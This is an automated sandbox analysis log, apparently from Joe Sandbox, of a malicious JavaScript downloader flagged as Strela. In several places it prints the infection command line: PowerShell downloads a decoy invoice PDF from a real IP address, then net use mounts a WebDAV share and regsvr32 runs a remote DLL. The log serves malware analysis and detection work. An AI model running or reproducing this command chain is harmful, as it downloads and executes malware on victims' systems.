Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.4:49889 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49730 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1708964005.000002531A6B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000003.1767441252.000001FE7C4FE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1768902210.000001FE7C51F000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1768685146.000001FE7C4C8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1766423650.000001FE7C51D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1768747249.000001FE7C4FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000003.1767441252.000001FE7C4FE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1768747249.000001FE7C4FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/B
Source: net.exe, 00000006.00000002.1768685146.000001FE7C4C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pace
Source: svchost.exe, 00000008.00000002.3003023198.0000020C96000000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.7.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: svchost.exe, 00000008.00000003.1767728623.0000020C96218000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1767728623.0000020C96218000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1767728623.0000020C96218000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1767728623.0000020C9624D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: svchost.exe, 00000008.00000003.1767728623.0000020C962C2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000008.00000003.1767728623.0000020C962C2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: svchost.exe, 00000008.00000003.1767728623.0000020C962C2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 6608, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22871768120867.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22871768120867.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 21905169581426428153.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/60@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1740:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_odjp2043.0vv.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21905169581426428153.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22871768120867.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1584,i,10425468771051065857,10688352718162203194,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22871768120867.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1584,i,10425468771051065857,10688352718162203194,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
